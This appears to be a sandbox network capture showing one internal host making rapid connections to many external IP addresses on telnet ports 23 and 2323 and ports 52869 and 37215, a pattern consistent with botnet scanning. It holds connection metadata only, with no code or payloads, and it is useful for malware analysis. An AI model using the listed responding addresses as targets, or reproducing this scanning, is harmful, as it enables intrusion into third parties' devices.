Dec 4, 2024 20:34:36.207356930 CET	42786	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:36.214319944 CET	39768	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:36.219444036 CET	23	42686	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:36.219599962 CET	42686	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:36.219933987 CET	42742	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:36.230402946 CET	2323	44228	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:36.230463028 CET	44228	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:36.230782986 CET	44766	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:36.246328115 CET	33098	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:36.265955925 CET	23	38346	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:36.266036034 CET	38346	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:36.266351938 CET	38628	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:36.282098055 CET	52869	60019	156.102.179.117	192.168.2.14
Dec 4, 2024 20:34:36.282108068 CET	52869	60019	41.25.230.180	192.168.2.14
Dec 4, 2024 20:34:36.282145977 CET	60019	52869	192.168.2.14	156.102.179.117
Dec 4, 2024 20:34:36.282169104 CET	60019	52869	192.168.2.14	41.25.230.180
Dec 4, 2024 20:34:36.282182932 CET	52869	60019	197.86.83.60	192.168.2.14
Dec 4, 2024 20:34:36.282193899 CET	52869	60019	41.17.129.191	192.168.2.14
Dec 4, 2024 20:34:36.282202959 CET	52869	60019	197.64.212.1	192.168.2.14
Dec 4, 2024 20:34:36.282212973 CET	52869	60019	197.41.221.45	192.168.2.14
Dec 4, 2024 20:34:36.282222986 CET	52869	60019	197.188.115.154	192.168.2.14
Dec 4, 2024 20:34:36.282232046 CET	52869	60019	156.244.247.160	192.168.2.14
Dec 4, 2024 20:34:36.282239914 CET	60019	52869	192.168.2.14	197.86.83.60
Dec 4, 2024 20:34:36.282242060 CET	52869	60019	197.225.33.176	192.168.2.14
Dec 4, 2024 20:34:36.282252073 CET	52869	60019	197.77.98.52	192.168.2.14
Dec 4, 2024 20:34:36.282258034 CET	60019	52869	192.168.2.14	197.41.221.45
Dec 4, 2024 20:34:36.282262087 CET	52869	60019	41.27.131.248	192.168.2.14
Dec 4, 2024 20:34:36.282263994 CET	60019	52869	192.168.2.14	41.17.129.191
Dec 4, 2024 20:34:36.282263994 CET	60019	52869	192.168.2.14	197.188.115.154
Dec 4, 2024 20:34:36.282263994 CET	60019	52869	192.168.2.14	156.244.247.160
Dec 4, 2024 20:34:36.282265902 CET	60019	52869	192.168.2.14	197.64.212.1
Dec 4, 2024 20:34:36.282283068 CET	60019	52869	192.168.2.14	197.77.98.52
Dec 4, 2024 20:34:36.282285929 CET	60019	52869	192.168.2.14	197.225.33.176
Dec 4, 2024 20:34:36.282298088 CET	60019	52869	192.168.2.14	41.27.131.248
Dec 4, 2024 20:34:36.284441948 CET	52869	34854	197.182.194.233	192.168.2.14
Dec 4, 2024 20:34:36.284487963 CET	34854	52869	192.168.2.14	197.182.194.233
Dec 4, 2024 20:34:36.284893036 CET	33952	52869	192.168.2.14	156.102.179.117
Dec 4, 2024 20:34:36.285548925 CET	36636	52869	192.168.2.14	41.25.230.180
Dec 4, 2024 20:34:36.286220074 CET	45140	52869	192.168.2.14	197.86.83.60
Dec 4, 2024 20:34:36.286952972 CET	59108	52869	192.168.2.14	41.17.129.191
Dec 4, 2024 20:34:36.287717104 CET	37986	52869	192.168.2.14	197.41.221.45
Dec 4, 2024 20:34:36.288441896 CET	36442	52869	192.168.2.14	197.64.212.1
Dec 4, 2024 20:34:36.289118052 CET	60778	52869	192.168.2.14	197.188.115.154
Dec 4, 2024 20:34:36.289797068 CET	39970	52869	192.168.2.14	156.244.247.160
Dec 4, 2024 20:34:36.290463924 CET	52850	52869	192.168.2.14	197.225.33.176
Dec 4, 2024 20:34:36.291117907 CET	41648	52869	192.168.2.14	197.77.98.52
Dec 4, 2024 20:34:36.291296959 CET	37215	48796	41.238.60.31	192.168.2.14
Dec 4, 2024 20:34:36.291708946 CET	37215	48796	41.238.60.31	192.168.2.14
Dec 4, 2024 20:34:36.291769028 CET	58084	52869	192.168.2.14	41.27.131.248
Dec 4, 2024 20:34:36.291984081 CET	37215	39634	41.12.47.3	192.168.2.14
Dec 4, 2024 20:34:36.292205095 CET	34854	52869	192.168.2.14	197.182.194.233
Dec 4, 2024 20:34:36.292205095 CET	34854	52869	192.168.2.14	197.182.194.233
Dec 4, 2024 20:34:36.292278051 CET	37215	39670	41.12.47.3	192.168.2.14
Dec 4, 2024 20:34:36.292316914 CET	39670	37215	192.168.2.14	41.12.47.3
Dec 4, 2024 20:34:36.292366028 CET	39670	37215	192.168.2.14	41.12.47.3
Dec 4, 2024 20:34:36.292396069 CET	37215	39634	41.12.47.3	192.168.2.14
Dec 4, 2024 20:34:36.292488098 CET	34912	52869	192.168.2.14	197.182.194.233
Dec 4, 2024 20:34:36.292552948 CET	37215	49672	156.22.59.142	192.168.2.14
Dec 4, 2024 20:34:36.293040037 CET	37215	49672	156.22.59.142	192.168.2.14
Dec 4, 2024 20:34:36.319360018 CET	2323	42398	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:36.319551945 CET	2323	42706	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:36.319611073 CET	42706	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:36.326832056 CET	23	42730	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:36.327153921 CET	23	42786	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:36.327203989 CET	42786	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:36.334430933 CET	23	39768	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:36.334475994 CET	39768	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:36.339308023 CET	23	42686	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:36.339653015 CET	23	42742	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:36.339701891 CET	42742	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:36.350276947 CET	2323	44228	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:36.350581884 CET	2323	44766	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:36.350630999 CET	44766	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:36.366281986 CET	23	33098	80.41.28.38	192.168.2.14
Dec 4, 2024 20:34:36.366451025 CET	33098	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:36.386528015 CET	23	38346	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:36.386893034 CET	23	38628	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:36.386950970 CET	38628	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:36.406513929 CET	52869	33952	156.102.179.117	192.168.2.14
Dec 4, 2024 20:34:36.406564951 CET	33952	52869	192.168.2.14	156.102.179.117
Dec 4, 2024 20:34:36.406604052 CET	33952	52869	192.168.2.14	156.102.179.117
Dec 4, 2024 20:34:36.406604052 CET	33952	52869	192.168.2.14	156.102.179.117
Dec 4, 2024 20:34:36.406975031 CET	33976	52869	192.168.2.14	156.102.179.117
Dec 4, 2024 20:34:36.407207966 CET	52869	36636	41.25.230.180	192.168.2.14
Dec 4, 2024 20:34:36.407244921 CET	36636	52869	192.168.2.14	41.25.230.180
Dec 4, 2024 20:34:36.407391071 CET	36636	52869	192.168.2.14	41.25.230.180
Dec 4, 2024 20:34:36.407391071 CET	36636	52869	192.168.2.14	41.25.230.180
Dec 4, 2024 20:34:36.407718897 CET	36660	52869	192.168.2.14	41.25.230.180
Dec 4, 2024 20:34:36.408962965 CET	52869	45140	197.86.83.60	192.168.2.14
Dec 4, 2024 20:34:36.409003019 CET	45140	52869	192.168.2.14	197.86.83.60
Dec 4, 2024 20:34:36.409024954 CET	45140	52869	192.168.2.14	197.86.83.60
Dec 4, 2024 20:34:36.409024954 CET	45140	52869	192.168.2.14	197.86.83.60
Dec 4, 2024 20:34:36.409044981 CET	52869	59108	41.17.129.191	192.168.2.14
Dec 4, 2024 20:34:36.409081936 CET	59108	52869	192.168.2.14	41.17.129.191
Dec 4, 2024 20:34:36.409322977 CET	45164	52869	192.168.2.14	197.86.83.60
Dec 4, 2024 20:34:36.409708023 CET	59108	52869	192.168.2.14	41.17.129.191
Dec 4, 2024 20:34:36.409708023 CET	59108	52869	192.168.2.14	41.17.129.191
Dec 4, 2024 20:34:36.410003901 CET	59132	52869	192.168.2.14	41.17.129.191
Dec 4, 2024 20:34:36.414108992 CET	52869	58084	41.27.131.248	192.168.2.14
Dec 4, 2024 20:34:36.414160967 CET	58084	52869	192.168.2.14	41.27.131.248
Dec 4, 2024 20:34:36.414184093 CET	58084	52869	192.168.2.14	41.27.131.248
Dec 4, 2024 20:34:36.414184093 CET	58084	52869	192.168.2.14	41.27.131.248
Dec 4, 2024 20:34:36.414479971 CET	58096	52869	192.168.2.14	41.27.131.248
Dec 4, 2024 20:34:36.414628983 CET	52869	34854	197.182.194.233	192.168.2.14
Dec 4, 2024 20:34:36.415121078 CET	37215	39670	41.12.47.3	192.168.2.14
Dec 4, 2024 20:34:36.415252924 CET	37215	39670	41.12.47.3	192.168.2.14
Dec 4, 2024 20:34:36.415297031 CET	39670	37215	192.168.2.14	41.12.47.3
Dec 4, 2024 20:34:36.448479891 CET	23	42786	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:36.448625088 CET	42786	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:36.449007988 CET	42828	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:36.455476046 CET	23	39768	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:36.455569983 CET	39768	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:36.455914974 CET	40052	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:36.458785057 CET	52869	34854	197.182.194.233	192.168.2.14
Dec 4, 2024 20:34:36.460908890 CET	23	42742	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:36.460994005 CET	42742	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:36.461311102 CET	42786	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:36.486762047 CET	23	33098	80.41.28.38	192.168.2.14
Dec 4, 2024 20:34:36.486870050 CET	33098	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:36.487235069 CET	33374	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:36.502316952 CET	46540	443	192.168.2.14	185.125.190.26
Dec 4, 2024 20:34:36.526557922 CET	52869	33952	156.102.179.117	192.168.2.14
Dec 4, 2024 20:34:36.526738882 CET	52869	33952	156.102.179.117	192.168.2.14
Dec 4, 2024 20:34:36.526926994 CET	52869	33976	156.102.179.117	192.168.2.14
Dec 4, 2024 20:34:36.526985884 CET	33976	52869	192.168.2.14	156.102.179.117
Dec 4, 2024 20:34:36.527002096 CET	33976	52869	192.168.2.14	156.102.179.117
Dec 4, 2024 20:34:36.527486086 CET	52869	36636	41.25.230.180	192.168.2.14
Dec 4, 2024 20:34:36.527625084 CET	52869	36636	41.25.230.180	192.168.2.14
Dec 4, 2024 20:34:36.527750969 CET	52869	36660	41.25.230.180	192.168.2.14
Dec 4, 2024 20:34:36.527796030 CET	36660	52869	192.168.2.14	41.25.230.180
Dec 4, 2024 20:34:36.527807951 CET	36660	52869	192.168.2.14	41.25.230.180
Dec 4, 2024 20:34:36.529470921 CET	52869	45140	197.86.83.60	192.168.2.14
Dec 4, 2024 20:34:36.529506922 CET	52869	45164	197.86.83.60	192.168.2.14
Dec 4, 2024 20:34:36.529552937 CET	45164	52869	192.168.2.14	197.86.83.60
Dec 4, 2024 20:34:36.529565096 CET	45164	52869	192.168.2.14	197.86.83.60
Dec 4, 2024 20:34:36.529632092 CET	52869	45140	197.86.83.60	192.168.2.14
Dec 4, 2024 20:34:36.529702902 CET	52869	59108	41.17.129.191	192.168.2.14
Dec 4, 2024 20:34:36.529795885 CET	52869	59108	41.17.129.191	192.168.2.14
Dec 4, 2024 20:34:36.529819965 CET	52869	59108	41.17.129.191	192.168.2.14
Dec 4, 2024 20:34:36.529949903 CET	52869	59132	41.17.129.191	192.168.2.14
Dec 4, 2024 20:34:36.529990911 CET	59132	52869	192.168.2.14	41.17.129.191
Dec 4, 2024 20:34:36.529990911 CET	59132	52869	192.168.2.14	41.17.129.191
Dec 4, 2024 20:34:36.533860922 CET	52869	58084	41.27.131.248	192.168.2.14
Dec 4, 2024 20:34:36.534189939 CET	52869	58096	41.27.131.248	192.168.2.14
Dec 4, 2024 20:34:36.534235001 CET	58096	52869	192.168.2.14	41.27.131.248
Dec 4, 2024 20:34:36.534246922 CET	58096	52869	192.168.2.14	41.27.131.248
Dec 4, 2024 20:34:36.534405947 CET	52869	58084	41.27.131.248	192.168.2.14
Dec 4, 2024 20:34:36.568361044 CET	23	42786	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:36.568804026 CET	23	42828	162.100.51.109	192.168.2.14
Dec 4, 2024 20:34:36.568862915 CET	42828	23	192.168.2.14	162.100.51.109
Dec 4, 2024 20:34:36.575841904 CET	23	39768	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:36.576045990 CET	23	40052	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:36.576100111 CET	40052	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:36.581331015 CET	23	42742	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:36.581964016 CET	23	42786	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:36.582026958 CET	42786	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:36.607409954 CET	23	33098	80.41.28.38	192.168.2.14
Dec 4, 2024 20:34:36.607810020 CET	23	33374	80.41.28.38	192.168.2.14
Dec 4, 2024 20:34:36.607876062 CET	33374	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:36.647634983 CET	52869	33976	156.102.179.117	192.168.2.14
Dec 4, 2024 20:34:36.647717953 CET	33976	52869	192.168.2.14	156.102.179.117
Dec 4, 2024 20:34:36.648215055 CET	52869	36660	41.25.230.180	192.168.2.14
Dec 4, 2024 20:34:36.648333073 CET	36660	52869	192.168.2.14	41.25.230.180
Dec 4, 2024 20:34:36.649990082 CET	52869	45164	197.86.83.60	192.168.2.14
Dec 4, 2024 20:34:36.650049925 CET	45164	52869	192.168.2.14	197.86.83.60
Dec 4, 2024 20:34:36.650609970 CET	52869	59132	41.17.129.191	192.168.2.14
Dec 4, 2024 20:34:36.650660992 CET	59132	52869	192.168.2.14	41.17.129.191
Dec 4, 2024 20:34:36.654787064 CET	52869	58096	41.27.131.248	192.168.2.14
Dec 4, 2024 20:34:36.654840946 CET	58096	52869	192.168.2.14	41.27.131.248
Dec 4, 2024 20:34:36.694344997 CET	48806	37215	192.168.2.14	156.197.175.158
Dec 4, 2024 20:34:36.694356918 CET	34186	37215	192.168.2.14	41.16.74.27
Dec 4, 2024 20:34:36.694360971 CET	53826	37215	192.168.2.14	156.73.55.186
Dec 4, 2024 20:34:36.694360971 CET	56284	37215	192.168.2.14	197.103.13.13
Dec 4, 2024 20:34:36.694361925 CET	42356	37215	192.168.2.14	41.191.169.69
Dec 4, 2024 20:34:36.694363117 CET	57632	37215	192.168.2.14	197.54.193.91
Dec 4, 2024 20:34:36.694375038 CET	49386	37215	192.168.2.14	156.84.140.18
Dec 4, 2024 20:34:36.694375992 CET	53906	37215	192.168.2.14	197.230.114.235
Dec 4, 2024 20:34:36.694375038 CET	48400	37215	192.168.2.14	197.240.225.40
Dec 4, 2024 20:34:36.694375992 CET	56572	37215	192.168.2.14	156.226.100.188
Dec 4, 2024 20:34:36.694375038 CET	34114	37215	192.168.2.14	41.125.57.226
Dec 4, 2024 20:34:36.694379091 CET	41166	37215	192.168.2.14	41.33.244.153
Dec 4, 2024 20:34:36.694380999 CET	53676	37215	192.168.2.14	156.16.70.72
Dec 4, 2024 20:34:36.694380999 CET	35070	37215	192.168.2.14	41.124.245.197
Dec 4, 2024 20:34:36.694380999 CET	55680	37215	192.168.2.14	197.107.186.146
Dec 4, 2024 20:34:36.694380999 CET	36610	37215	192.168.2.14	197.212.128.183
Dec 4, 2024 20:34:36.694392920 CET	57522	37215	192.168.2.14	156.125.121.36
Dec 4, 2024 20:34:36.694395065 CET	49264	37215	192.168.2.14	41.209.252.161
Dec 4, 2024 20:34:36.694396019 CET	39522	37215	192.168.2.14	156.26.60.186
Dec 4, 2024 20:34:36.694396019 CET	51508	37215	192.168.2.14	41.137.76.138
Dec 4, 2024 20:34:36.694401979 CET	46924	37215	192.168.2.14	197.171.113.254
Dec 4, 2024 20:34:36.694401979 CET	45674	37215	192.168.2.14	197.57.80.139
Dec 4, 2024 20:34:36.694401979 CET	56220	37215	192.168.2.14	156.251.83.218
Dec 4, 2024 20:34:36.694401979 CET	45720	37215	192.168.2.14	156.235.86.196
Dec 4, 2024 20:34:36.694411039 CET	52758	37215	192.168.2.14	41.69.3.230
Dec 4, 2024 20:34:36.694411039 CET	56452	37215	192.168.2.14	41.70.211.68
Dec 4, 2024 20:34:36.699009895 CET	23	40052	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:36.699157000 CET	40052	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:36.699726105 CET	40058	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:36.705524921 CET	23	42786	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:36.705604076 CET	42786	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:36.705993891 CET	42792	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:36.732764959 CET	23	33374	80.41.28.38	192.168.2.14
Dec 4, 2024 20:34:36.732875109 CET	33374	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:36.733261108 CET	33380	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:36.822463989 CET	39784	37215	192.168.2.14	197.246.71.134
Dec 4, 2024 20:34:36.822467089 CET	57592	37215	192.168.2.14	41.194.61.209
Dec 4, 2024 20:34:36.822467089 CET	46240	37215	192.168.2.14	197.46.72.54
Dec 4, 2024 20:34:36.822468996 CET	37024	37215	192.168.2.14	156.154.205.52
Dec 4, 2024 20:34:36.822468996 CET	41960	37215	192.168.2.14	197.150.131.152
Dec 4, 2024 20:34:36.822467089 CET	33990	37215	192.168.2.14	197.70.26.71
Dec 4, 2024 20:34:36.822463989 CET	41170	37215	192.168.2.14	156.230.112.106
Dec 4, 2024 20:34:36.822468996 CET	51590	37215	192.168.2.14	197.123.241.110
Dec 4, 2024 20:34:36.822463989 CET	46848	37215	192.168.2.14	41.5.195.235
Dec 4, 2024 20:34:36.822474003 CET	46458	37215	192.168.2.14	156.134.74.251
Dec 4, 2024 20:34:36.822473049 CET	58918	37215	192.168.2.14	156.168.90.110
Dec 4, 2024 20:34:36.822474003 CET	53018	37215	192.168.2.14	156.168.141.207
Dec 4, 2024 20:34:36.822474003 CET	49752	37215	192.168.2.14	156.17.91.196
Dec 4, 2024 20:34:36.822474003 CET	56810	37215	192.168.2.14	156.158.100.133
Dec 4, 2024 20:34:36.822474003 CET	40674	37215	192.168.2.14	41.9.41.114
Dec 4, 2024 20:34:36.822487116 CET	35414	37215	192.168.2.14	197.31.193.147
Dec 4, 2024 20:34:36.822506905 CET	47954	37215	192.168.2.14	156.48.223.242
Dec 4, 2024 20:34:36.822510004 CET	59100	37215	192.168.2.14	41.106.205.46
Dec 4, 2024 20:34:36.822510004 CET	56966	37215	192.168.2.14	156.144.78.212
Dec 4, 2024 20:34:36.822510004 CET	38744	37215	192.168.2.14	197.52.167.29
Dec 4, 2024 20:34:36.822520971 CET	55366	37215	192.168.2.14	156.102.41.67
Dec 4, 2024 20:34:36.822520971 CET	53624	37215	192.168.2.14	41.155.54.83
Dec 4, 2024 20:34:36.822521925 CET	50672	37215	192.168.2.14	156.84.190.194
Dec 4, 2024 20:34:36.822530031 CET	40210	37215	192.168.2.14	41.133.115.99
Dec 4, 2024 20:34:36.822530031 CET	34870	37215	192.168.2.14	41.228.208.30
Dec 4, 2024 20:34:36.918342113 CET	35160	37215	192.168.2.14	156.12.171.46
Dec 4, 2024 20:34:36.918342113 CET	45680	37215	192.168.2.14	41.167.243.102
Dec 4, 2024 20:34:36.918342113 CET	51754	37215	192.168.2.14	197.188.41.180
Dec 4, 2024 20:34:36.918342113 CET	36746	37215	192.168.2.14	197.253.184.23
Dec 4, 2024 20:34:36.918348074 CET	58068	37215	192.168.2.14	197.208.202.223
Dec 4, 2024 20:34:36.918353081 CET	53708	37215	192.168.2.14	156.239.60.195
Dec 4, 2024 20:34:36.918355942 CET	44450	37215	192.168.2.14	156.164.50.81
Dec 4, 2024 20:34:36.927810907 CET	37215	48806	156.197.175.158	192.168.2.14
Dec 4, 2024 20:34:36.927823067 CET	37215	53826	156.73.55.186	192.168.2.14
Dec 4, 2024 20:34:36.927834988 CET	37215	56284	197.103.13.13	192.168.2.14
Dec 4, 2024 20:34:36.927855015 CET	37215	53906	197.230.114.235	192.168.2.14
Dec 4, 2024 20:34:36.927866936 CET	37215	56572	156.226.100.188	192.168.2.14
Dec 4, 2024 20:34:36.927872896 CET	37215	34186	41.16.74.27	192.168.2.14
Dec 4, 2024 20:34:36.927879095 CET	37215	41166	41.33.244.153	192.168.2.14
Dec 4, 2024 20:34:36.927886009 CET	37215	57632	197.54.193.91	192.168.2.14
Dec 4, 2024 20:34:36.927906990 CET	48806	37215	192.168.2.14	156.197.175.158
Dec 4, 2024 20:34:36.927927017 CET	41166	37215	192.168.2.14	41.33.244.153
Dec 4, 2024 20:34:36.927997112 CET	37215	53676	156.16.70.72	192.168.2.14
Dec 4, 2024 20:34:36.928004026 CET	60275	37215	192.168.2.14	41.128.154.190
Dec 4, 2024 20:34:36.928004980 CET	60275	37215	192.168.2.14	197.141.141.8
Dec 4, 2024 20:34:36.928009033 CET	37215	49386	156.84.140.18	192.168.2.14
Dec 4, 2024 20:34:36.928008080 CET	53826	37215	192.168.2.14	156.73.55.186
Dec 4, 2024 20:34:36.928009033 CET	60275	37215	192.168.2.14	197.185.99.182
Dec 4, 2024 20:34:36.928009987 CET	60275	37215	192.168.2.14	41.233.119.31
Dec 4, 2024 20:34:36.928020954 CET	60275	37215	192.168.2.14	156.57.208.48
Dec 4, 2024 20:34:36.928020954 CET	60275	37215	192.168.2.14	156.28.140.7
Dec 4, 2024 20:34:36.928023100 CET	37215	35070	41.124.245.197	192.168.2.14
Dec 4, 2024 20:34:36.928026915 CET	56284	37215	192.168.2.14	197.103.13.13
Dec 4, 2024 20:34:36.928028107 CET	60275	37215	192.168.2.14	197.235.247.223
Dec 4, 2024 20:34:36.928028107 CET	53906	37215	192.168.2.14	197.230.114.235
Dec 4, 2024 20:34:36.928028107 CET	56572	37215	192.168.2.14	156.226.100.188
Dec 4, 2024 20:34:36.928030968 CET	60275	37215	192.168.2.14	41.54.123.55
Dec 4, 2024 20:34:36.928030968 CET	60275	37215	192.168.2.14	156.6.224.124
Dec 4, 2024 20:34:36.928033113 CET	60275	37215	192.168.2.14	156.126.6.59
Dec 4, 2024 20:34:36.928033113 CET	60275	37215	192.168.2.14	156.74.200.203
Dec 4, 2024 20:34:36.928033113 CET	60275	37215	192.168.2.14	197.183.172.203
Dec 4, 2024 20:34:36.928034067 CET	37215	48400	197.240.225.40	192.168.2.14
Dec 4, 2024 20:34:36.928030014 CET	60275	37215	192.168.2.14	197.234.70.63
Dec 4, 2024 20:34:36.928030014 CET	60275	37215	192.168.2.14	41.243.253.19
Dec 4, 2024 20:34:36.928072929 CET	34186	37215	192.168.2.14	41.16.74.27
Dec 4, 2024 20:34:36.928072929 CET	60275	37215	192.168.2.14	197.9.155.97
Dec 4, 2024 20:34:36.928073883 CET	53676	37215	192.168.2.14	156.16.70.72
Dec 4, 2024 20:34:36.928076029 CET	57632	37215	192.168.2.14	197.54.193.91
Dec 4, 2024 20:34:36.928076029 CET	60275	37215	192.168.2.14	197.86.191.119
Dec 4, 2024 20:34:36.928078890 CET	60275	37215	192.168.2.14	41.184.58.6
Dec 4, 2024 20:34:36.928078890 CET	49386	37215	192.168.2.14	156.84.140.18
Dec 4, 2024 20:34:36.928078890 CET	60275	37215	192.168.2.14	156.60.152.56
Dec 4, 2024 20:34:36.928078890 CET	60275	37215	192.168.2.14	156.180.54.178
Dec 4, 2024 20:34:36.928078890 CET	48400	37215	192.168.2.14	197.240.225.40
Dec 4, 2024 20:34:36.928086996 CET	60275	37215	192.168.2.14	156.230.162.68
Dec 4, 2024 20:34:36.928086996 CET	60275	37215	192.168.2.14	156.19.18.72
Dec 4, 2024 20:34:36.928092003 CET	60275	37215	192.168.2.14	156.145.104.67
Dec 4, 2024 20:34:36.928096056 CET	60275	37215	192.168.2.14	41.66.115.145
Dec 4, 2024 20:34:36.928096056 CET	60275	37215	192.168.2.14	197.89.91.19
Dec 4, 2024 20:34:36.928096056 CET	60275	37215	192.168.2.14	197.46.23.81
Dec 4, 2024 20:34:36.928096056 CET	60275	37215	192.168.2.14	41.188.97.172
Dec 4, 2024 20:34:36.928101063 CET	60275	37215	192.168.2.14	156.212.79.134
Dec 4, 2024 20:34:36.928107977 CET	60275	37215	192.168.2.14	41.144.60.162
Dec 4, 2024 20:34:36.928107977 CET	60275	37215	192.168.2.14	156.92.9.24
Dec 4, 2024 20:34:36.928111076 CET	60275	37215	192.168.2.14	197.2.52.188
Dec 4, 2024 20:34:36.928112030 CET	60275	37215	192.168.2.14	156.103.194.95
Dec 4, 2024 20:34:36.928113937 CET	60275	37215	192.168.2.14	197.3.124.243
Dec 4, 2024 20:34:36.928113937 CET	60275	37215	192.168.2.14	156.69.130.155
Dec 4, 2024 20:34:36.928132057 CET	35070	37215	192.168.2.14	41.124.245.197
Dec 4, 2024 20:34:36.928132057 CET	60275	37215	192.168.2.14	197.62.161.128
Dec 4, 2024 20:34:36.928133011 CET	60275	37215	192.168.2.14	197.183.135.239
Dec 4, 2024 20:34:36.928138971 CET	60275	37215	192.168.2.14	41.138.32.28
Dec 4, 2024 20:34:36.928139925 CET	60275	37215	192.168.2.14	41.48.19.125
Dec 4, 2024 20:34:36.928141117 CET	60275	37215	192.168.2.14	156.240.137.36
Dec 4, 2024 20:34:36.928141117 CET	60275	37215	192.168.2.14	156.184.48.214
Dec 4, 2024 20:34:36.928139925 CET	60275	37215	192.168.2.14	197.228.42.1
Dec 4, 2024 20:34:36.928141117 CET	60275	37215	192.168.2.14	156.60.124.231
Dec 4, 2024 20:34:36.928143024 CET	60275	37215	192.168.2.14	41.245.36.113
Dec 4, 2024 20:34:36.928143024 CET	60275	37215	192.168.2.14	197.253.216.223
Dec 4, 2024 20:34:36.928143024 CET	60275	37215	192.168.2.14	197.135.2.106
Dec 4, 2024 20:34:36.928143024 CET	60275	37215	192.168.2.14	156.54.8.45
Dec 4, 2024 20:34:36.928162098 CET	60275	37215	192.168.2.14	41.120.50.198
Dec 4, 2024 20:34:36.928165913 CET	60275	37215	192.168.2.14	197.174.172.60
Dec 4, 2024 20:34:36.928165913 CET	60275	37215	192.168.2.14	197.207.125.1
Dec 4, 2024 20:34:36.928168058 CET	60275	37215	192.168.2.14	156.82.60.165
Dec 4, 2024 20:34:36.928168058 CET	60275	37215	192.168.2.14	197.245.124.174
Dec 4, 2024 20:34:36.928169966 CET	60275	37215	192.168.2.14	41.59.108.152
Dec 4, 2024 20:34:36.928169966 CET	60275	37215	192.168.2.14	156.23.68.191
Dec 4, 2024 20:34:36.928169966 CET	60275	37215	192.168.2.14	197.22.78.245
Dec 4, 2024 20:34:36.928175926 CET	60275	37215	192.168.2.14	156.200.131.56
Dec 4, 2024 20:34:36.928198099 CET	60275	37215	192.168.2.14	156.91.66.69
Dec 4, 2024 20:34:36.928208113 CET	60275	37215	192.168.2.14	156.219.163.177
Dec 4, 2024 20:34:36.928208113 CET	60275	37215	192.168.2.14	197.2.217.226
Dec 4, 2024 20:34:36.928208113 CET	60275	37215	192.168.2.14	156.140.92.67
Dec 4, 2024 20:34:36.928208113 CET	60275	37215	192.168.2.14	41.45.4.75
Dec 4, 2024 20:34:36.928204060 CET	60275	37215	192.168.2.14	197.140.110.54
Dec 4, 2024 20:34:36.928219080 CET	60275	37215	192.168.2.14	156.131.36.115
Dec 4, 2024 20:34:36.928219080 CET	60275	37215	192.168.2.14	156.93.151.162
Dec 4, 2024 20:34:36.928209066 CET	60275	37215	192.168.2.14	41.102.63.18
Dec 4, 2024 20:34:36.928239107 CET	60275	37215	192.168.2.14	41.174.15.215
Dec 4, 2024 20:34:36.928244114 CET	60275	37215	192.168.2.14	197.61.115.95
Dec 4, 2024 20:34:36.928246021 CET	60275	37215	192.168.2.14	41.255.129.98
Dec 4, 2024 20:34:36.928246021 CET	60275	37215	192.168.2.14	156.174.221.200
Dec 4, 2024 20:34:36.928247929 CET	60275	37215	192.168.2.14	41.161.172.55
Dec 4, 2024 20:34:36.928247929 CET	60275	37215	192.168.2.14	156.147.177.167
Dec 4, 2024 20:34:36.928247929 CET	60275	37215	192.168.2.14	41.237.167.43
Dec 4, 2024 20:34:36.928247929 CET	60275	37215	192.168.2.14	197.147.177.163
Dec 4, 2024 20:34:36.928251982 CET	60275	37215	192.168.2.14	41.185.216.139
Dec 4, 2024 20:34:36.928252935 CET	60275	37215	192.168.2.14	197.18.91.91
Dec 4, 2024 20:34:36.928252935 CET	60275	37215	192.168.2.14	197.215.21.243
